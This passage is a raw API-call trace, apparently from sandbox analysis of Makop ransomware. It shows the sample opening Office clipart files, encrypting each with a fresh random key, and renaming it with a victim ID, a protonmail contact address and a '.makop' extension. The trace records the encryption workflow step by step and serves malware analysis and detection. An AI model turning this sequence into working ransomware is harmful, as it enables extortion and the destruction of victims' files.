hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6fa0, lpOverlapped=0x0) returned 1 [0129.270] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.270] SetEndOfFile (hFile=0xf0) returned 1 [0129.277] GetProcessHeap () returned 0x48a0000 [0129.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.277] GetProcessHeap () returned 0x48a0000 [0129.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.277] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.279] CloseHandle (hObject=0xf0) returned 1 [0129.279] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0129.279] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0129.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.281] GetProcessHeap () returned 0x48a0000 [0129.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.281] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.286] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.286] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.286] GetProcessHeap () returned 0x48a0000 [0129.286] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.286] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.287] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.287] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.288] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9d6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9d6c, lpOverlapped=0x0) returned 1 [0129.290] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d70, dwBufLen=0x9d70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d70) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.291] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9d70, lpOverlapped=0x0) returned 1 [0129.291] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.292] SetEndOfFile (hFile=0xf0) returned 1 [0129.298] GetProcessHeap () returned 0x48a0000 [0129.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.298] GetProcessHeap () returned 0x48a0000 [0129.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.299] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.300] CloseHandle (hObject=0xf0) returned 1 [0129.300] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0129.300] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0129.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.309] GetProcessHeap () returned 0x48a0000 [0129.309] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.309] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.310] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.315] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.315] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.315] GetProcessHeap () returned 0x48a0000 [0129.315] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.315] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.315] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.315] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.316] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.316] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.316] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.316] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.316] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc20c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc20c, lpOverlapped=0x0) returned 1 [0129.319] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc210, dwBufLen=0xc210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc210) returned 1 [0129.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc210, lpOverlapped=0x0) returned 1 [0129.321] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.321] SetEndOfFile (hFile=0xf0) returned 1 [0129.332] GetProcessHeap () returned 0x48a0000 [0129.332] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.332] GetProcessHeap () returned 0x48a0000 [0129.332] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.332] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.336] CloseHandle (hObject=0xf0) returned 1 [0129.358] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0129.359] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0129.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.360] GetProcessHeap () returned 0x48a0000 [0129.360] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.360] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.373] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.373] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.374] GetProcessHeap () returned 0x48a0000 [0129.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.374] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.374] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.375] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.375] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.375] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xae08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xae08, lpOverlapped=0x0) returned 1 [0129.377] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xae10, dwBufLen=0xae10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xae10) returned 1 [0129.378] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.378] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xae10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xae10, lpOverlapped=0x0) returned 1 [0129.379] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.379] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.379] SetEndOfFile (hFile=0xf0) returned 1 [0129.387] GetProcessHeap () returned 0x48a0000 [0129.387] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.387] GetProcessHeap () returned 0x48a0000 [0129.387] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.387] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.389] CloseHandle (hObject=0xf0) returned 1 [0129.390] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0129.390] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0129.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.391] GetProcessHeap () returned 0x48a0000 [0129.391] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.391] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.391] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0129.396] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.396] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.396] GetProcessHeap () returned 0x48a0000 [0129.396] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.396] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.396] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.396] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.397] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.397] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.397] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.397] 